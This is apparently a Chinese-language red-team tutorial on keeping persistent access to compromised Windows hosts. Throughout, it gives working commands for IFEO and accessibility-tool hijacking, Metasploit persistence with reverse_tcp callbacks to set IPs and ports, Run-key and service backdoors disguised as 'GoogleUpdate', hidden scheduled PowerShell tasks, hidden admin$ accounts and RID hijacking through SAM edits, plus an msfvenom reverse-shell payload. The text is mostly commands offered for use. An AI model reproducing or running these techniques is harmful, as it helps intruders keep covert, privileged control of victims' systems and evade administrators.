Windows权限维持

权限维持简介

为了保证获取到的目标权限不会因为漏洞的修复而丢失,攻击者通常会在目标上安装一个后门,来保证对目标的持久化控制。

系统工具替换后门

简介

Windows 的辅助功能提供了额外的选项(屏幕键盘,放大镜,屏幕阅读等),可以帮助特殊人士更容易地使用操作系统。

然而,这种功能可能会被滥用于在启用 RDP 并获得 Administrator 权限的主机上实现持久化访问。这种技术会接触磁盘,或者需要修改注册表来执行远程存储的 payload。

涉及到的注册表项为 IFEO(Image File Execution Options),默认是只有管理员和Localsystem有权读写修改。

1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

原理

当我们按照常理运行属于IFEO列表的文件的时候(即可执行文件名在上述的注册表项下,出于简化原因,IFEO使用忽略路径的方式来匹配它所要控制的程序文件名,所以程序无论放在哪个路径,只要名字没有变化,它就可以正常运行。)会执行相关的选项参数,这里我们主要利用的参数是 debugger,通过该参数我们可以实现偷梁换柱。

  • 常用辅助功能
  1. Shift(sethc)
  2. 屏幕键盘(osk)
  3. 辅助工具管理器(Utilman)
  4. 讲述人(Narrator)

例子

  • IE
  1. 以修改IE启动程序为例,实现运行IE程序但是启动的却是cmd。

找到注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 目录下的 iexplore.exe

  1. 添加一个debugger字符串键值,并且赋值为 cmd.exe 的执行路径:

C:\Windows\system32\cmd.exe

  1. 运行 iexplore.exe
1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  • Narrator

劫持 Narrator 讲述人

1
2
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
\narrator.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  • Utilman

劫持辅助工具管理器

1
2
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
  • Notepad

实现原程序退出后静默运行后门程序。以执行 notepad 为例,退出后静默运行 calc.exe

1
2
3
4
5
6
7
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 /f

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "C:\Windows\system32\calc.exe" /f

# 可以更改C:\Windows\system32\calc.exe为payload,如powershell命令

MonitorProcess:表示监视器进程
ReportingMode:可以设置为以下三个值
0x1LAUNCH_MONITORPROCESS,检测到进程静默退出时,将会启动监视器进程,即MonitorProcess的项值
0x2LOCAL_DUMP,检测到进程静默退出时,将会为受监视的进程创建转储文件
0x3NOTIFICATION,检查到进程静默退出时,将会弹出一个通知

Metasploit

Metasploit 框架提供了一个后渗透模块,可实现自动化地利用沾滞键的权限维持技术。

该模块将用 CMD 替换辅助功能的二进制文件(sethc, osk, disp, utilman)。

1
use post/windows/manage/sticky_keys

image-20231008101643162

image-20231008102855149

image-20231008102840555

当目标主机的屏幕被锁定时,执行 osk 屏幕键盘工具将会打开一个具有 system 级别权限的命令提示符。

Meterpreter权限维持

Persistence模块

exploit/windows/local/persistence

Persistence 模块首先上传 vbs 脚本,然后执行vbs脚本修改注册表
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\Run从而完成自启动。

1
2
3
use exploit/windows/local/persistence
set session 1
set payload windows/meterpreter/reverse_tcp

image-20231008103154414

1
2
3
4
5
6
7
DELAY 		10 		yes 持久性有效载荷不断重新连接回来的延迟(秒)。
EXE_NAME no 将在目标主机上使用的有效载荷的文件名(默认为%RAND%.exe)。
PATH no 写入有效载荷的路径(默认为%TEMP%)。
REG_NAME no 在目标主机上调用注册表值进行持久化的名称(默认为%RAND%)。
SESSION 1 yes 运行该模块的会话
STARTUP USER yes 持久性有效载荷的启动类型。(接受:USER, SYSTEM)
VBS_NAME no 目标主机上的VBS持久化脚本要使用的文件名(默认为%RAND%)。

image-20231008103408221

image-20231008105104874

image-20231008104959438

Autorunscript

获取shell的时候自动执行持续化脚本,可以被 Autorunscript 执行的命令目录在metasploit/scripts/meterpreter

  • 命令参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
meterpreter > run persistence -h

-A:自动启动一个匹配的漏洞/多/处理程序来连接到代理
-X:开机启动,注册表位置:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-U:当前用户登录后自启动,注册表位置:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
-S:作为服务启动,注册表位置:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
-T:选择要使用的可执行模板
-L:后门传到远程主机的位置默认为 %TEMP%
-P:使用的Payload,默认windows/meterpreter/reverse_tcp,
该默认的payload生成的后门为32位程序
因此,当目标机器为64位系统时,留下的后门将无法运行
-i:设置反向连接间隔时间,单位为秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址
  • 使用方法
1
run persistence -U -X -i 5 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 192.168.78.117
  • persistence
1
2
3
4
5
6
7
8
9
# persistence

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.78.117
set LPORT 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.78.117 -p 5556 -U -X -i 30
exploit
  • migrate
1
2
3
4
5
6
7
8
9
# migrate

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.78.117
set LPORT 5555
set ExitOnSession false
set AutoRunScript migrate -f
exploit

开机自启动注册表项

注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别:前者对所有用户有效,后者只对当前用户有效

Run

每次系统启动时都会按顺序自动执行。是自动运行程序最常用的注册键。

1
2
3
4
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

RunOnce

安装程序通常用RunOnce键自动运行程序

1
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

RunServicesOnce

用来启动服务程序,启动时间再用户登录之前,而且先于其他通过注册键启动的程序

1
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

RunServices

RunServices指定的程序紧接RunServicesOnce指定的程序后运行,两者都是在用户登录之前

1
2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices

RunOnceSetup

指定了用户登录之后运行的程序

1
2
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceSetup

Load

1
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

建一个字符串名为load的键值,为自启动程序的路径,需要注意短文件名规则,如 c:\ProgramFiles 应为 c:\progra~1

Winlogon

1
2
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

找到 Userinit 键值,默认为 C:\Windows\system32\userinit.exe, 后面加路径,再加逗号也可以。也能够使系统启动时自动初始化程序。比如:userinit.exe,OSA.exe

注意下面的 Notify、Shell 键值也会有自启动的程序,而且其键值可以用逗号分隔,从而实现登录的时候启动多个程序。

示例

使用生成的反弹shell的payload

  • 在meterpreter下执行
1
2
3
4
5
upload /root/nc.exe C:\\windows\\system32
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v GoogleUpdate -d 'C:\windows\temp\GoogleUpdate.exe'
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v GoogleUpdate
shutdown -r -f -t 0

在目标cmd下执行

1
2
3
4
5
6
upload /root/nc.exe C:\\windows\\system32
shell
reg query HKLM\software\microsoft\windows\currentversion\run
reg add HKLM\software\microsoft\windows\currentversion\run /v GoogleUpdate /t REG_SZ /d "C:\windows\temp\GoogleUpdate.exe"
reg query HKLM\software\microsoft\windows\currentversion\run /v GoogleUpdate
shutdown -r -f -t 0

Schtasks计划任务

Schtasks

创建test定时任务,每分钟执行一次5555.exe

1
schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\6666.exe /tn test
  • 命令解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
schtasks /create
# 创建新的计划任务

/sc schedule
# 指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。

/mo modifier
# 指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为1。

/tr <TaskRun>
# 指定任务运行的程序或命令。如果忽略该路径,SchTasks.exe 将假定文件在 %Systemroot%\System32目录下。

/tn <TaskName>
# 指定任务的名称。
  • 常用命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 每分钟执行一次任务
schtasks /create /sc MINUTE /mo 1 /tn calc_update /tr "C:\Users\Administrator\Desktop\mx\5555.exe"

# 每小时执行一次任务
schtasks /create /sc HOURLY /mo 1 /tn calc_update /tr "C:\Users\Administrator\Desktop\mx\5555.exe"

# 每天执行一次任务
schtasks /create /sc DAILY /mo 1 /tn calc_update /tr "C:\Users\Administrator\Desktop\mx\5555.exe"

# 每周执行一次任务
schtasks /create /sc WEEKLY /mo 1 /tn calc_update /tr "C:\Users\Administrator\Desktop\mx\5555.exe"

# 删除计划任务
schtasks /delete /tn calc_update /F

schtasks命令详解: https://www.cnblogs.com/visoeclipse/archive/2009/08/29/1556240.html

Task-Powershell

https://github.com/re4lity/Schtasks-Backdoor

schtasks+powershell

https://mp.weixin.qq.com/s/Tt6REDrPH-WWgMB-mIOnTA

利用PowerShell启动时执行Get-Variable执行恶意文件

  1. 将恶意程序放在 %APPDATA%\Local\Microsoft\WindowsApps 目录下并重命名为 GetVariable.exe

  2. 创建计划任务实现持久化

1
schtasks.exe&nbsp;/create&nbsp;/tn&nbsp;COMSurrogate&nbsp;/st&nbsp;00:00&nbsp;/du&nbsp;9999:59&nbsp;/sc&nbsp;once&nbsp;/ri&nbsp;1&nbsp;/f&nbsp;/tr&nbsp;"powershell.exe&nbsp;-windowstyle&nbsp;hidden"

该命令创建计划任务程序 COMSurrogate,该程序以隐藏的方式执行PowerShell。而执行PowerShell 会启动恶意程序 Get-Variable.exe,从而实现持久化。

原理:通过运行PowerShell时触发执行 Get-variable 来实现攻击

快捷方式劫持

Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。快捷方式的文件扩展名是.LNK,它为红队提供了很多机会来执行各种格式的代码 exe、vbs、Powershell、scriptlet等。

1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\phpstudy_pro\COM\phpstudy_pro.exe'; invoke-item c:\windows\system32\calc.exe"

image-20231008145827008

账户隐藏

隐藏用户

通过 net user 命令查看不到,但是在控制面板的管理账户界面可以查看到。

1
net user admin$ AdminPassw0ad /add && net localgroup administrators admin$ /add

激活 Guest 用户

1
2
net user guest Admin@hacker && net localgroup administrators guest /add
net user guest /active:yes

RID劫持

参考:https://3gstudent.github.io/渗透技巧-Windows系统的帐户隐藏

RID

Relative Identifier 相对标识符

Windows系统账户对应固定的RID:

1
2
3
4
5
6
7
8
500:Administrator
501:Guest
502:krbtgt(域)
512:Domain Admins(域)
513:Domain Users(域)
514:Domain Guests(域)
515:Domain Computers(域)
516:Domain Controllers(域)

SID

Security Identifiers 安全标识符

安全标识符用于唯一标识安全主体或安全组。 安全主体可以表示可由操作系统进行身份验证的任何实体,例如用户帐户、计算机帐户或在用户或计算机帐户的安全上下文中运行的线程或进程。

https://learn.microsoft.com/zh-cn/windows-server/identity/ad-ds/manage/understand-security-identifiers

用户使用帐户名引用帐户,但是操作系统内部使用其安全标识符(SID)引用在帐户的安全上下文中运行的帐户和进程。对于域帐户,通过将域的SD与该帐户的相对标识符(RID)串联来创建安全主体的SID。SID在其范围内(域或本地)是唯一的,并且永不重用。

RID劫持

通过覆写注册表数据,可以在被攻击设备上劫持任意用户的RID,并将其分配给另外一个用户

  • 被劫持账户没有启用的情况,依旧可以达到劫持效果
  • 被分配的用户拥有被劫持用户的权限
  • 被分配用户的操作会以被劫持用户的身份留存事件日志

对于Windows系统来说,注册表 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下包含当前系统的所有账户列表,每个账户的默认键值对应账户详细信息的注册表位置(即RID的十六进制表示)

创建克隆 administrator 的账号,且通过命令 net user 以及控制面板中的管理账户无法看到。

  1. 用’$’创建匿名用户,并归到 administrators 用户组
1
2
3
net user admin$ admin@123 /add /y
net localgroup administrators admin$ /add
net localgroup "remote desktop users" admin$ /add
  1. 将 administrator 用户对应的 Users 中的 F 值复制替换后门账户的 F 值

导出匿名用户对应的sam目录下的注册表键值:

regedt32.exe 打开 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users 键值,导出 Names下用户目录以及对应的16进制目录。

注意:SAM 下的注册表选项需要获得 system 权限才能读取,因此需要给 Administrator 用户赋予SAM 键值权限,默认是不允许的。

或者直接修改 admin$ 用户的 F 值,把其中的 F2 03 修改为 F4 01 即可

image-20231008152057425

  1. 导出 Users 下面的后门账户以及 Names下面的后门账户两个注册表文件。

  2. 通过命令删除刚才的后门用户

1
net user admin$ /del
  1. 通过注册表导入刚才导出的两个注册表文件
1
2
regedit /s 1.reg
regedit /s 2.reg

用先前导出的注册表键值对注册表进行修改。则可以重新还原之前的匿名用户,但是除了在注册表里面有用户记录,其他地方都不存在用户的信息。

net user 或计算机管理里本地用户和用户组是看不到用户信息的,具有很好的隐蔽性质。

文件夹启动

在每次开机或重启的时候就会运行启动文件夹下的程序

1
2
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

服务后门

  • msfvenom生成payload
1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.58.144 lport=8989 -f exe-service -o GoogleUpdate.exe
  • sc创建一个GoogleUpdateService服务,执行我们上传的木马。
1
sc create GoogleUpdateService binPath= "C:\Windows\temp\GoogleUpdate.exe" displayname="GoogleUpdateService" start= auto

重启权限维持。